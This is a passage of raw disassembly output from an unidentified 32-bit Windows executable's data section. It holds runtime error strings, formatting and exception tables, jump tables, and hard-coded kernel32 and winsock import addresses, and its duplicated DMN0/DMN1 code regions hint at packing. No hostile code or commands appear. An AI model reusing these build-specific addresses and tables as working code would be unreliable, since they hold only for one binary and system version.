0FFFFFFFFh, 11h dup(0) dword_40FB34 dd 0 ; DATA XREF: DMN0:off_411894o dword_40FB38 dd 0 ; DATA XREF: sub_409950+36r ; sub_409950+18Br ... dword_40FB3C dd 0 ; DATA XREF: sub_409950+3Cr ; sub_409950+191r ... db 2 dup(0) word_40FB42 dw 200h ; DATA XREF: DMN0:off_411898o dd 4 dup(100010h), 300130h, 300030h, 100030h, 8 dup(100010h) dd 400010h, 7 dup(800080h), 30080h, 4 dup(30003h), 800003h dd 3 dup(800080h), 3 dup(0A000Ah), 3 dup(80008h) dword_40FBDC dd 80008h ; DATA XREF: sub_409C30+55r ; sub_44ABB1+55r aAaaaaa: dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 unicode 0, <€€€€€€> dd 3 dup(60006h), 0Ah dup(40004h), 2 dup(800080h) dword_40FC40 dd 10h, 40h dup(0) ; DATA XREF: sub_409C30+18r ; sub_44ABB1+18r dd offset loc_40A007 dd offset loc_40A337 dd offset loc_40A337 dd offset loc_40A337 dd offset loc_40A007 dd offset loc_40A007 dd offset loc_40A007 dd offset loc_40A007 dd offset loc_40A337 dd offset loc_409C8C dd offset loc_409CFB dd offset loc_40A007 dd offset loc_40A007 dd offset loc_40A007 dd offset loc_40A337 dd offset loc_409CFB dd offset loc_40A337 dd offset loc_40A337 dd offset loc_40A337 dd offset loc_40A337 dd offset loc_40A0C9 dd offset loc_409E93 dd offset loc_40A201 dd offset loc_40A337 dd offset loc_40A337 dd offset loc_40A25F dd offset loc_40A337 dd offset loc_409E93 dd offset loc_40A337 dd offset loc_40A337 dd offset loc_409E93 dword_40FDC0 dd 6C756E28h, 296Ch ; DATA XREF: sub_409C30+661o ; sub_44ABB1+661o asc_40FDC8 db ' ',0 ; DATA XREF: sub_40A370+54o ; sub_40A370+23Do ... a00000000000000 db '00000000000000000000000000000000',0 ; DATA XREF: sub_40A370+D8o ; sub_40A370+15Co ... align 4 dword_40FE0C dd 0 ; DATA XREF: sub_40A5E0+Dr ; sub_44B561+Dr dd 0 dd 1, 2 db 2 dup(0) word_40FE1E dw 0E000h ; DATA XREF: DMN0:004118A4o ; DMN0:004118E4o ... dd 0E002E001h, 0E004E003h, 0E006E005h, 0E008E007h, 0E00AE009h dd 0E00CE00Bh, 0E00EE00Dh, 0E010E00Fh, 0E012E011h, 0E014E013h dd 0E016E015h, 0E018E017h, 0E01AE019h, 0E01CE01Bh, 0E01EE01Dh dd 0E020E01Fh, 0E022E021h, 0E024E023h, 0E026E025h, 0E028E027h dd 0E02AE029h, 0E02CE02Bh, 0E02EE02Dh, 0E030E02Fh, 0E032E031h dd 0E034E033h, 0E036E035h, 0E038E037h, 0E03AE039h, 0E03CE03Bh dd 0E03EE03Dh, 0E040E03Fh, 0E042E041h, 0E044E043h, 0E046E045h dd 0E048E047h, 0E04AE049h, 0E04CE04Bh, 0E04EE04Dh, 0E050E04Fh dd 0E052E051h, 0E054E053h, 0E056E055h, 0E058E057h, 0E05AE059h dd 0E05CE05Bh, 0E05EE05Dh, 0E060E05Fh, 0E062E061h, 0E064E063h dd 0E066E065h, 0E068E067h, 0E06AE069h, 0E06CE06Bh, 0E06EE06Dh dd 0E070E06Fh, 0E072E071h, 0E074E073h, 0E076E075h, 0E078E077h dd 0E07AE079h, 0E07CE07Bh, 0E07EE07Dh, 0E080E07Fh, 0E082E081h dd 0E084E083h, 0E086E085h, 0E088E087h, 0E08AE089h, 0E08CE08Bh dd 0E08EE08Dh, 0E090E08Fh, 0E092E091h, 0E094E093h, 0E096E095h dd 0E098E097h, 0E09AE099h, 0E09CE09Bh, 0E09EE09Dh, 0E0A0E09Fh dd 0E0A2E0A1h, 0E0A4E0A3h, 0E0A6E0A5h, 0E0A8E0A7h, 0E0AAE0A9h dd 0E0ACE0ABh, 0E0AEE0ADh, 0E0B0E0AFh, 0E0B2E0B1h, 0E0B4E0B3h dd 0E0B6E0B5h, 0E0B8E0B7h, 0E0BAE0B9h, 0E0BCE0BBh, 0E0BEE0BDh dd 0E0C0E0BFh, 0E0C2E0C1h, 0E0C4E0C3h, 0E0C6E0C5h, 0E0C8E0C7h dd 0E0CAE0C9h, 0E0CCE0CBh, 0E0CEE0CDh, 0E0D0E0CFh, 0E0D2E0D1h dd 0E0D4E0D3h, 0E0D6E0D5h, 0E0D8E0D7h, 0E0DAE0D9h, 0E0DCE0DBh dd 0E0DEE0DDh, 0E0E0E0DFh, 0E0E2E0E1h, 0E0E4E0E3h, 0E0E6E0E5h dd 0E0E8E0E7h, 0E0EAE0E9h, 0E0ECE0EBh, 0E0EEE0EDh, 0E0F0E0EFh dd 0E0F2E0F1h, 0E0F4E0F3h, 0E0F6E0F5h, 0E0F8E0F7h, 0E0FAE0F9h dd 0E0FCE0FBh, 0E0FEE0FDh, 0E0FFh aNull: ; DATA XREF: sub_40AEB0+81o ; sub_44BE31+81o unicode 0, <(null)>,0 align 10h a0123456789ab_0 db '0123456789abcdef',0 ; DATA XREF: sub_40B000:loc_40B018o ; sub_44BF81:loc_44BF99o a0123456789abcd db '0123456789ABCDEF',0 ; DATA XREF: sub_40B000+Fo ; sub_44BF81+Fo align 4 dbl_410054 dq 1.0e1 ; DATA XREF: sub_40B250+3E4r ; sub_40B250+42Dr ... dd 0 dd 40590000h, 0 dd 40C38800h, 0 dd 4197D784h, 37E08000h, 4341C379h, 0B5056E17h, 4693B8B5h dd 0E93FF9F5h, 4D384F03h, 0F9301D32h, 5A827748h, 7F73BF3Ch dd 75154FDDh dbl_41009C dq 1.0e8 ; DATA XREF: sub_40B250+4B5r ; sub_44C1D1+4B5r dbl_4100A4 dq 1.0 ; DATA XREF: sub_40B250+403r ; sub_44C1D1+403r dbl_4100AC dq 0.0 ; DATA XREF: sub_40B250+1BCr ; sub_40B250+28Ar ... a0123456789ab_2 db '0123456789ABCDEF',0 ; DATA XREF: sub_40B250:loc_40B3D4o ; sub_44C1D1:loc_44C355o a0123456789ab_1 db '0123456789abcdef',0 ; DATA XREF: sub_40B250+17Bo ; sub_44C1D1+17Bo off_4100D6 dd offset byte_464E49 ; DATA XREF: sub_40B250:loc_40B33Co ; sub_44C1D1:loc_44C2BDo word_4100DA dw 6E69h ; DATA XREF: sub_40B250:loc_40B333o ; sub_44C1D1:loc_44C2B4o db 66h, 0 word_4100DE dw 414Eh ; DATA XREF: sub_40B250:loc_40B2EAo ; sub_44C1D1:loc_44C26Bo byte_4100E0 db 4Eh, 0 ; DATA XREF: sub_40BCC0+5Br ; sub_44CC41+5Br word_4100E2 dw 616Eh ; DATA XREF: sub_40B250:loc_40B2E1o dd 6Eh, 40BD48h, 40BD63h, 40BD3Fh, 40BD63h, 40BD2Ah, 40BD63h dd 40BD36h, 2 dup(40BD63h), 40BD51h aTerminating db ' -- terminating',0Ah,0 ; DATA XREF: sub_40BCC0+10Do ; sub_44CC41+10Do aSignal db 'signal #',0 ; DATA XREF: sub_40BCC0+EAo ; sub_44CC41+EAo aTerminationReq db 'termination request',0 ; DATA XREF: sub_40BCC0:loc_40BD5Ao ; sub_44CC41:loc_44CCDBo aInvalidStorage db 'invalid storage access',0 ; DATA XREF: sub_40BCC0+91o ; sub_44CC41+91o aInterruption db 'interruption',0 ; DATA XREF: sub_40BCC0+88o ; sub_44CC41+88o aInvalidExecuta db 'invalid executable code',0 ; DATA XREF: sub_40BCC0+7Fo ; sub_44CC41+7Fo aArithmeticErro db 'arithmetic error',0 ; DATA XREF: sub_40BCC0+76o ; sub_44CC41+76o aAbort db 'abort',0 ; DATA XREF: sub_40BCC0+6Ao ; sub_44CC41+6Ao align 4 dword_410194 dd 0 ; DATA XREF: sub_40BEE0+23r ; sub_40BEE0+10Fr ... dword_410198 dd 0 ; DATA XREF: sub_40BEE0+29r ; sub_40BEE0+115r ... align 10h dword_4101A0 dd 30h ; DATA XREF: sub_40C3B0+1Eo ; sub_44D331+1Eo byte_4101A4 db 0 ; DATA XREF: DMN0:004119A4o ; DMN0:004119A8o ... byte_4101A5 db 2Eh, 2 dup(0) ; DATA XREF: DMN0:off_4119D0o dd 0 dword_4101AC dd 395h dup(0) ; DATA XREF: sub_407AA0+73o ; sub_407AA0:loc_407B1Fo ... dword_411000 dd 1 ; DATA XREF: sub_40122A:loc_401237w ; sub_40122A+13r ... dword_411004 dd 0 ; DATA XREF: sub_403C3F+66r ; sub_403C3F+86w ... dword_411008 dd 0 ; DATA XREF: sub_40238A+7r ; sub_40238A+43w ... dword_41100C dd 0 ; DATA XREF: sub_40356A+2Ar ; sub_40356A:loc_4035CDr ... dword_411010 dd 0 ; DATA XREF: sub_40356A+1Er ; sub_40356A+46r ... dword_411014 dd 0 ; DATA XREF: sub_40399A+189o ; sub_403C3F+317o ... dword_411018 dd 0 ; DATA XREF: sub_403604+1r ; sub_403604+1Fw ... dword_41101C dd 0 ; DATA XREF: DMN0:004036A3r ; DMN0:004036C1w ... dd 0 dword_411024 dd 0 ; DATA XREF: sub_40356A+58o ; sub_40356A+86o ... dword_411028 dd 0 ; DATA XREF: sub_40410E+1r ; sub_40410E+1Fw ... dword_41102C dd 0 ; DATA XREF: sub_404967+16Fo ; sub_404967+22Co ... dword_411030 dd 0 ; DATA XREF: sub_40400E+32r ; sub_40400E+9Br ... byte_411034 db 5Ah ; DATA XREF: sub_4041FB+19r ; sub_44517C+19r db 3 dup(5Bh) dd 5B5B5B5Bh, 5B5Bh dword_411040 dd 0 ; DATA XREF: DMN0:00405B1Fw ; DMN1:00446AA0w dword_411044 dd 2 dup(0) ; DATA XREF: DMN0:00405A0Bo ; DMN1:0044698Co dword_41104C dd 0 ; DATA XREF: sub_405CF6+Bw ; sub_405CF6+25r ... dword_411050 dd 0 ; DATA XREF: sub_405EFE+Dr ; sub_405EFE+B9w ... dword_411054 dd 0 ; DATA XREF: sub_405DF3+Cr ; sub_405DF3+15r ... dword_411058 dd 0 ; DATA XREF: sub_40637D+Fo ; sub_4472FE+Fo dword_41105C dd 0 ; DATA XREF: sub_407400+35r ; sub_407400+3Ew ... dword_411060 dd 0 ; DATA XREF: sub_4079E0+45r ; sub_4079E0+62r ... dd 4Fh dup(0) dword_4111A0 dd 50h ; DATA XREF: sub_4079E0:loc_407A17r ; sub_4079E0+3Fw ... dword_4111A4 dd 0 ; DATA XREF: sub_4079E0:loc_407A37r ; sub_4079E0+5Dw ... dword_4111A8 dd 0 ; DATA XREF: sub_406D70+18Ew ; sub_406D70+1B1r ... dd 6 dup(0) dd 95FFF8h, 0 dword_4111CC dd 95FFFCh ; DATA XREF: sub_4070F0+38r ; sub_407BD0+8Br ... dword_4111D0 dd 950004h ; DATA XREF: sub_4070F0+30r ; sub_407BD0+C1r ... dword_4111D4 dd 950000h ; DATA XREF: sub_407BD0+97r ; sub_407BD0:loc_407C74r ... dword_4111D8 dd 8 ; DATA XREF: sub_406D70+66r ; sub_406D70+10Br ... dword_4111DC dd 10h ; DATA XREF: sub_406D70+5Dr ; sub_406D70+FEr ... dword_4111E0 dd 20h ; DATA XREF: sub_406D70:loc_406DE8r ; sub_406D70+121r ... dword_4111E4 dd 40h ; DATA XREF: sub_406D70+54r ; sub_406D70+F1r ... dword_4111E8 dd 80h ; DATA XREF: sub_406D70+99r ; sub_406D70+14Ar ... dword_4111EC dd 100h ; DATA XREF: sub_406D70:loc_406E00r ; sub_406D70+13Dr ... dword_4111F0 dd 200h ; DATA XREF: sub_406D70:loc_406E1Er ; sub_406D70+163r ... dd 400h dword_4111F8 dd 7 ; DATA XREF: sub_406D70+19Cr ; sub_406D70:loc_406F16w ... dword_4111FC dd 7 ; DATA XREF: sub_406D70+361w ; sub_407BD0+175w ... dword_411200 dd 19930520h, 3 dup(0) ; DATA XREF: DMN0:00408582o ; sub_408589+2o ... off_411210 dd offset dword_41283C ; DATA XREF: sub_4086A0r ; sub_4086E0:loc_4086E6r ... off_411214 dd offset dword_412824 ; DATA XREF: sub_4086A0+Cr ; sub_4086E0+38r ... off_411218 dd offset dword_41280C ; DATA XREF: sub_4086A0+18r ; sub_4086E0+44r ... off_41121C dd offset dword_4127F4 ; DATA XREF: sub_4086A0+24r ; sub_4086E0+50r ... dd 5 dup(0) dword_411234 dd 0 ; DATA XREF: sub_408A60r sub_408A60+9r ... dword_411238 dd 0 ; DATA XREF: DMN0:00408A90r ; DMN0:00408A99r ... dd 14h dup(0) dword_41128C dd 1, 0 ; DATA XREF: DMN0:off_411370o dd offset byte_4112D4 dd offset byte_4112D5 dd offset byte_4112D4 dd offset byte_4112D4 dd offset byte_4112D4 dd offset byte_4112D4 dd offset dword_4112B4 dd 0 dword_4112B4 dd 8 dup(0) ; DATA XREF: DMN0:004112ACo byte_4112D4 db 0 ; DATA XREF: DMN0:00411294o ; DMN0:0041129Co ... byte_4112D5 db 3 dup(0) ; DATA XREF: DMN0:00411298o dword_4112D8 dd 802h, 1, 411320h, 411321h, 4 dup(411320h), 411300h ; DATA XREF: DMN0:00411374o dd 0Ah dup(0) dword_411324 dd 802h, 2, 41123Ch, 41128Ch, 3 dup(41123Ch), 41136Ch ; DATA XREF: sub_40BCC0+E5o ; sub_40BCC0:loc_40BDB7o ... dd 41134Ch, 0Ah dup(0) off_411370 dd offset dword_41128C ; DATA XREF: sub_4073E0:loc_4073E3r ; sub_407480:loc_4074ECr ... dd offset dword_4112D8 dd offset dword_411324 dd 0FDh dup(0) dword_411770 dd 11h ; DATA XREF: sub_407870+2Ar ; sub_408FD0+Cw ... dword_411774 dd 0C0000005h, 0Bh, 0C000001Dh, 4, 0C0000096h, 4, 0C000008Dh ; DATA XREF: sub_4091A0+7o ; sub_44A121+7o dd 8, 0C000008Eh, 8, 0C000008Fh, 8, 0C0000090h, 8, 0C0000091h dd 8, 0C0000092h, 8, 0C0000093h, 8 dword_4117C4 dd 1 ; DATA XREF: sub_4091A0:loc_4091F2o ; sub_409710+82w ... dword_4117C8 dd 95005Ch ; DATA XREF: sub_409710+87w ; sub_44A691+87w align 10h dword_4117D0 dd 950078h ; DATA XREF: sub_4097B0+55w ; sub_4097B0+5Ar ... align 8 dword_4117D8 dd 950000h ; DATA XREF: sub_4098B0+Cr ; sub_4098B0+2Aw ... dword_4117DC dd 2000000h ; DATA XREF: sub_407AA0+31w ; sub_4098B0+1Cr ... dword_4117E0 dd 400h ; DATA XREF: sub_407BD0+2Ew ; sub_4081A0+2Dr ... dword_4117E4 dd 2Ch dup(0) ; DATA XREF: sub_409060+16o ; sub_409100+5Co ... off_411894 dd offset dword_40FB34 ; DATA XREF: sub_4097B0+16r ; sub_4097B0+A2r ... off_411898 dd offset word_40FB42 ; DATA XREF: sub_4087E0+160r ; sub_4087E0+1BBr ... dword_41189C dd 0 ; DATA XREF: sub_40AD50+99r ; sub_40AD50:loc_40AE08w ... byte_4118A0 db 3 ; DATA XREF: sub_40AEB0+2Ar ; sub_40BEE0+14Ar ... align 4 dd offset word_40FE1E dd 0Fh dup(0) dd offset word_40FE1E dd 0Fh dup(0) off_411924 dd offset word_40FE1E ; DATA XREF: sub_409950+20r ; sub_409950+19Cr ... dd 0Fh dup(0) off_411964 dd offset word_40FE1E ; DATA XREF: sub_40BEE0+13Cr ; sub_44CE61+13Cr dd 0Fh dup(0) dd offset byte_4101A4 dd offset byte_4101A4 dd offset byte_4101A4 dd offset byte_4101A4 dd offset byte_4101A4 dd offset byte_4101A4 dd offset byte_4101A4 dd 3 dup(7F7F7F7Fh), 7F7Fh off_4119D0 dd offset byte_4101A5 ; DATA XREF: sub_40C3B0+7r ; sub_44D331+7r dd offset byte_4101A4 dd offset byte_4101A4 dbl_4119DC dq 1.797693134862316e308 ; DATA XREF: sub_40CF90+8Ar ; sub_40CF90:loc_40D027r ... dd 0 dd 7FF80000h, 0 dd 3C900000h, 0 dd 3E400000h, 0 dd 40320000h, 2 dup(0) dd 11A84h, 2 dup(0) dd 122AEh, 11CC4h, 11BE4h, 2 dup(0) dd 124B2h, 11E24h, 11C48h, 2 dup(0) dd 1251Ch, 11E88h, 11CA8h, 2 dup(0) dd 1253Ch, 11EE8h, 11CB0h, 2 dup(0) dd 12598h, 11EF0h, 5 dup(0) dd 11F04h, 11F14h, 11F30h, 11F48h, 11F60h, 11F70h, 11F80h dd 11F96h, 11FA4h, 11FBAh, 11FCAh, 11FDAh, 11FECh, 12000h dd 1200Eh, 12020h, 12028h, 1203Eh, 1204Eh, 1205Ch, 1206Eh dd 1207Eh, 1208Ch, 1209Ch, 120B0h, 120BCh, 120D2h, 120ECh dd 120FAh, 12110h, 1211Ch, 12128h, 12138h, 12144h, 1215Eh dd 12174h, 12182h, 12192h, 121A4h, 121B4h, 121C4h, 121D8h dd 121EAh, 121FEh, 12210h, 12226h, 1223Ch, 1224Ah, 1225Eh dd 1227Ah, 1228Ch, 1229Ch, 125A4h, 125B4h, 125C2h, 125D2h dd 125E2h, 125F0h, 12602h, 1260Eh, 1261Ch, 1262Ah, 12636h dd 12644h, 12650h, 1265Ch, 1266Ch, 12684h, 12692h, 1269Eh dd 126B4h, 126BEh, 126CCh, 126E8h, 12702h, 12710h, 12722h dd 12734h, 1274Ch, 12766h, 12776h, 12786h, 12792h, 127A2h dd 127BAh, 127CCh, 127D8h, 0 dd 122BCh, 122CEh, 122E0h, 122EEh, 122FEh, 1230Eh, 1232Eh dd 1234Ah, 1235Ah, 1236Ch, 1237Ch, 12392h, 123A8h, 123C0h dd 123D8h, 123E8h, 123FAh, 1240Ah, 1241Eh, 12432h, 12450h dd 1246Eh, 12486h, 1249Ah, 0 dd 80000073h, 80000074h, 80000017h, 80000015h, 80000003h dd 80000012h, 8000000Ch, 80000009h, 80000004h, 80000002h dd 8000000Dh, 80000001h, 8000000Fh, 80000010h, 80000013h dd 8000000Ah, 80000034h, 80000006h, 80000039h, 8000000Bh dd 80000014h, 80000011h, 8000006Fh, 0 dd 12528h, 0 dd 1254Ah, 1255Ah, 1256Eh, 12584h, 0 dword_411CC4 dd 77E7751Ah ; DATA XREF: sub_401001:loc_40100Br ; sub_402562+6r ... dword_411CC8 dd 77E79908h ; DATA XREF: sub_40103C+5r ; sub_401097+5r ... dword_411CCC dd 77F7E21Fh ; DATA XREF: sub_401048+9r ; sub_401076+5r ... dword_411CD0 dd 77F7E300h ; DATA XREF: sub_401048+23r ; sub_401076+1Ar ... dword_411CD4 dd 77E79C3Dh ; DATA XREF: DMN0:004010C1r ; sub_4092A0+1B2r ... dword_411CD8 dd 77E70F89h ; DATA XREF: DMN0:0040117Cr ; DMN1:004420FDr dword_411CDC dd 77E7A099h ; DATA XREF: sub_402296+18r ; DMN0:00402353r ... dword_411CE0 dd 77E79881h ; DATA XREF: sub_40238A+14r ; sub_405870+Dr ... dword_411CE4 dd 77E77797h ; DATA XREF: sub_4023DC+1Fr ; sub_44335D+1Fr dword_411CE8 dd 77F5157Dh ; DATA XREF: sub_4023DC+2Br ; sub_403604+2Dr ... dword_411CEC dd 77E74D76h ; DATA XREF: sub_4023DC+44r ; sub_402449+29r ... dword_411CF0 dd 77E75090h ; DATA XREF: sub_4023DC+62r ; sub_402449+47r ... dword_411CF4 dd 77E7C815h ; DATA XREF: sub_402449+11r ; sub_4024A6+12r ... dword_411CF8 dd 77E77963h ; DATA XREF: sub_402449+51r ; sub_4024A6+5Er ... dword_411CFC dd 77E762D0h ; DATA XREF: sub_402511+33r ; sub_40538E+33r ... dword_411D00 dd 77E61BE6h ; DATA XREF: sub_402562+32r ; sub_40356A+Br ... dword_411D04 dd 77E775F1h ; DATA XREF: sub_40356A+5Dr ; sub_40356A+8Br ... dword_411D08 dd 77E7C2C4h ; DATA XREF: sub_403604+19r ; DMN0:004036BBr ... dword_411D0C dd 77E8074Ah ; DATA XREF: sub_403658+10r ; sub_4036F6+10r ... dword_411D10 dd 77E61BB8h ; DATA XREF: sub_403723+DCr ; DMN0:00404C8Er ... dword_411D14 dd 77F51587h ; DATA XREF: sub_403838+BDr ; sub_409090+59r ... dword_411D18 dd 77E73628h ; DATA XREF: sub_403838+13Br ; sub_40399A+1ACr ... dword_411D1C dd 77E6AD34h ; DATA XREF: sub_40399A+3Cr ; sub_40399A+93r ... dword_411D20 dd 77E6AF8Fh ; DATA XREF: sub_40399A+57r ; sub_40399A+AEr ... dword_411D24 dd 77E6BD13h ; DATA XREF: sub_40399A+C4r ; sub_4066F1+18Fr ... dword_411D28 dd 77E70396h ; DATA XREF: sub_40399A+DEr ; sub_405DF3+8Ar ... dword_411D2C dd 77E76B5Ch ; DATA XREF: sub_403C3F+31Cr ; DMN1:00444EDCr dword_411D30 dd 77E75CB5h ; DATA XREF: sub_403FEA+10r ; sub_409190+5r ... dword_411D34 dd 77E79D5Bh ; DATA XREF: sub_40400E+23r ; sub_405870+E5r ... dword_411D38 dd 77E76A2Eh ; DATA XREF: sub_4040C3+36r ; sub_4050B1+B5r ... dword_411D3C dd 77E73BEFh ; DATA XREF: sub_404F2A+A7r ; sub_445EAB+A7r dword_411D40 dd 77E737DEh ; DATA XREF: DMN0:0040530Er ; sub_405870+51r ... dword_411D44 dd 77E74A3Bh ; DATA XREF: DMN0:0040531Br ; sub_405C80+65r ... dword_411D48 dd 77E74C59h ; DATA XREF: sub_405870+C7r ; sub_4467F1+C7r dword_411D4C dd 77E74CABh ; DATA XREF: sub_405BE3+14r ; sub_4066F1+28Dr ... dword_411D50 dd 77E74A69h ; DATA XREF: sub_405C80+11r ; sub_406422+7r ... dword_411D54 dd 77E6CA8Ah ; DATA XREF: sub_405DF3+31r ; sub_446D74+31r dword_411D58 dd 77E7105Fh ; DATA XREF: sub_405DF3+44r ; sub_446D74+44r dword_411D5C dd 77E760B5h ; DATA XREF: sub_405DF3+5Fr ; sub_446D74+5Fr dword_411D60 dd 77E7C931h ; DATA XREF: sub_405DF3+73r ; sub_446D74+73r dword_411D64 dd 77E79C90h ; DATA XREF: sub_406042+1Br ; sub_4092A0+1D3r ... dword_411D68 dd 77E79824h ; DATA XREF: sub_4060BC+21r ; sub_44703D+21r dword_411D6C dd 77E79F93h ; DATA XREF: sub_4060BC+7Ar ; sub_407AA0+9Ar ... dword_411D70 dd 77E7A5FDh ; DATA XREF: sub_4060BC+91r ; sub_4060BC+A2r ... dword_411D74 dd 77E61A90h ; DATA XREF: sub_4060BC+E6r ; sub_44703D+E6r dword_411D78 dd 77E7AA83h ; DATA XREF: sub_4060BC+11Dr ; sub_44703D+11Dr dword_411D7C dd 77E706B7h ; DATA XREF: sub_4061E6+15r ; sub_447167+15r dword_411D80 dd 77E6C9E0h ; DATA XREF: sub_4061E6+5Cr ; sub_447167+5Cr dword_411D84 dd 77EBB1E7h ; DATA XREF: sub_406C9Cr sub_447C1Dr dword_411D88 dd 77EBA595h ; DATA XREF: sub_406CA2r sub_447C23r dword_411D8C dd 77EBA6E9h ; DATA XREF: sub_406CA8r sub_447C29r dword_411D90 dd 77E7C938h ; DATA XREF: sub_4066F1+44r ; sub_409710+Br ... dword_411D94 dd 77E99078h ; DATA XREF: sub_407220+1Br ; DMN1:004481BCr dword_411D98 dd 77E79B39h ; DATA XREF: sub_407870+30r ; sub_408FD0+31r ... dword_411D9C dd 77E7AC37h ; DATA XREF: sub_407910+38r ; sub_448891+38r dword_411DA0 dd 77E6E154h ; DATA XREF: sub_407910+54r ; sub_448891+54r dword_411DA4 dd 77E73C49h ; DATA XREF: sub_4079A0+30r ; sub_448921+30r dword_411DA8 dd 77E6177Ah ; DATA XREF: sub_407AA0+92r ; sub_4092A0+5Er ... dword_411DAC dd 77F6183Eh ; DATA XREF: sub_40D420r sub_44E3A1r dword_411DB0 dd 77E7C726h ; DATA XREF: sub_4085B0+9r ; sub_449531+9r dword_411DB4 dd 77E76E0Bh ; DATA XREF: DMN0:004085D6r ; DMN1:00449557r dword_411DB8 dd 77F516F8h ; DATA XREF: sub_4085F0+Dr ; sub_449571+Dr dword_411DBC dd 77F5722Fh ; DATA XREF: DMN0:00408623r ; DMN1:004495A4r dword_411DC0 dd 77F51597h ; DATA XREF: sub_408630+Dr ; sub_4495B1+Dr dword_411DC4 dd 77F522F2h ; DATA XREF: DMN0:0040865Fr ; DMN1:004495E0r dword_411DC8 dd 77E6C924h ; DATA XREF: DMN0:0040868Dr ; DMN1:0044960Er dword_411DCC dd 77F53275h ; DATA XREF: sub_4086E0+12r ; sub_4086E0+32r ... dword_411DD0 dd 77E7A837h ; DATA XREF: sub_408A60+23r ; DMN0:00408AB3r ... dword_411DD4 dd 77E7C5B4h ; DATA XREF: sub_408FD0+6r ; sub_449F51+6r dword_411DD8 dd 77E77CC4h ; DATA XREF: sub_408FD0+46r ; sub_409090+42r ... dword_411DDC dd 77E72B29h ; DATA XREF: DMN0:00409047r ; DMN1:00449FC8r dword_411DE0 dd 77E78B61h ; DATA XREF: sub_409090+10r ; sub_409100+1Br ... dword_411DE4 dd 77EB9A84h ; DATA XREF: sub_4091A0+5Fr ; sub_44A121+5Fr dword_411DE8 dd 77E6167Bh ; DATA XREF: sub_409240+5r ; DMN0:0040925Br ... dword_411DEC dd 77E78406h ; DATA XREF: sub_4092A0+130r ; sub_4092A0+1C6r ... dword_411DF0 dd 77E79CE3h ; DATA XREF: sub_4092A0+1F5r ; sub_44A221+1F5r dword_411DF4 dd 77E7C931h ; DATA XREF: sub_4092A0+24Ar ; sub_44A221+24Ar dword_411DF8 dd 77E67702h ; DATA XREF: sub_4097B0+9r ; sub_44A731+9r dword_411DFC dd 77E9C5B1h ; DATA XREF: sub_4097B0+B0r ; sub_44A731+B0r dword_411E00 dd 77E7980Ah ; DATA XREF: sub_4098B0+24r ; sub_4098B0+8Ar ... dword_411E04 dd 77E7F044h ; DATA XREF: sub_4098B0+3Fr ; sub_44A831+3Fr dword_411E08 dd 77E79D8Ch ; DATA XREF: sub_40A670+F5r ; sub_40A670+15Br ... dword_411E0C dd 77E7FF2Eh ; DATA XREF: sub_40AA10+4Cr ; sub_40AA10+5Br ... dword_411E10 dd 77E76968h ; DATA XREF: sub_40AD50+A9r ; sub_44BCD1+A9r dword_411E14 dd 77E78C81h ; DATA XREF: sub_40BDF0+34r ; sub_44CD71+34r dword_411E18 dd 77E78B82h ; DATA XREF: sub_40C890+C4r ; sub_40C890+249r ... dword_411E1C dd 77E70192h ; DATA XREF: sub_40CC50+10Cr ; sub_44DBD1+10Cr dd 0 dword_411E24 dd 77DD590Bh ; DATA XREF: sub_402208+21r ; sub_405187+63r ... dword_411E28 dd 77DD59F0h ; DATA XREF: sub_402208+43r ; sub_405187+8Ar ... dword_411E2C dd 77DD189Ah ; DATA XREF: sub_402208+4Cr ; sub_40225E+2Er ... dword_411E30 dd 77DD22EAh ; DATA XREF: sub_40225E+15r ; sub_4050B1+5Cr ... dword_411E34 dd 77DD839Fh ; DATA XREF: sub_40225E+25r ; sub_4431DF+25r dword_411E38 dd 77DD6018h ; DATA XREF: sub_40238A+1Fr ; sub_405870+1Br ... dword_411E3C dd 77DD6034h ; DATA XREF: sub_40238A+2Cr ; sub_405870+2Ar ... dword_411E40 dd 77DDACABh ; DATA XREF: sub_4040C3+15r ; sub_445044+15r dword_411E44 dd 77DDA20Bh ; DATA XREF: sub_404CB8+Br ; sub_404D02+12r ... dword_411E48 dd 77DE801Bh ; DATA XREF: sub_404CB8+1Fr ; sub_404D02+29r ... dword_411E4C dd 77DDAB2Fh ; DATA XREF: sub_404CB8+2Cr ; sub_404CB8+37r ... dword_411E50 dd 77DDAC5Ch ; DATA XREF: sub_404D02+47r ; sub_404E56+80r ... dword_411E54 dd 77E2BC20h ; DATA XREF: sub_404D73+22r ; sub_445CF4+22r dword_411E58 dd 77E2BE75h ; DATA XREF: sub_404D73+6Dr ; sub_404F2A+C3r ... dword_411E5C dd 77DE8075h ; DATA XREF: sub_404E56+9Cr ; sub_445DD7+9Cr dword_411E60 dd 77E2BF4Bh ; DATA XREF: sub_404F2A+4Dr ; sub_445EAB+4Dr dword_411E64 dd 77E2C1B3h ; DATA XREF: sub_40506C+2Br ; sub_445FED+2Br dword_411E68 dd 77DD23D7h ; DATA XREF: sub_4050B1+92r ; sub_4053DF+71r ... dword_411E6C dd 77DE7E48h ; DATA XREF: DMN0:0040599Ar ; DMN0:004059ADr ... dword_411E70 dd 77DE1356h ; DATA XREF: DMN0:004059F1r ; DMN1:00446972r dword_411E74 dd 77DE1EBDh ; DATA XREF: sub_405AC9+35r ; sub_446A4A+35r dword_411E78 dd 77DF7311h ; DATA XREF: sub_406042+11r ; sub_446FC3+11r dword_411E7C dd 77DD5D20h ; DATA XREF: sub_406042+28r ; sub_446FC3+28r dword_411E80 dd 77DDA595h ; DATA XREF: sub_406042+5Fr ; sub_446FC3+5Fr align 8 dword_411E88 dd 71AB41DAh ; DATA XREF: sub_406CAEr sub_447C2Fr dword_411E8C dd 71AB1836h ; DATA XREF: sub_406CB4r sub_447C35r dword_411E90 dd 71AB3C22h ; DATA XREF: sub_406CBAr sub_447C3Br dword_411E94 dd 71AD1072h ; DATA XREF: sub_406CC0r sub_447C41r dword_411E98 dd 71AB1A6Dh ; DATA XREF: sub_406CC6r sub_447C47r dword_411E9C dd 71AB1890h ; DATA XREF: sub_406CCCr sub_447C4Dr dword_411EA0 dd 71AB155Ah ; DATA XREF: sub_406CD2r sub_447C53r dword_411EA4 dd 71AB1746h ; DATA XREF: sub_406CD8r sub_447C59r dword_411EA8 dd 71AB3E5Dh ; DATA XREF: sub_406CDEr sub_447C5Fr dword_411EAC dd 71AB3ECEh ; DATA XREF: sub_406CE4r sub_447C65r dword_411EB0 dd 71AB5DE2h ; DATA XREF: sub_406CEAr sub_447C6Br dword_411EB4 dd 71AB868Dh ; DATA XREF: sub_406CF0r sub_447C71r dword_411EB8 dd 71AB1746h ; DATA XREF: sub_406CF6r sub_447C77r 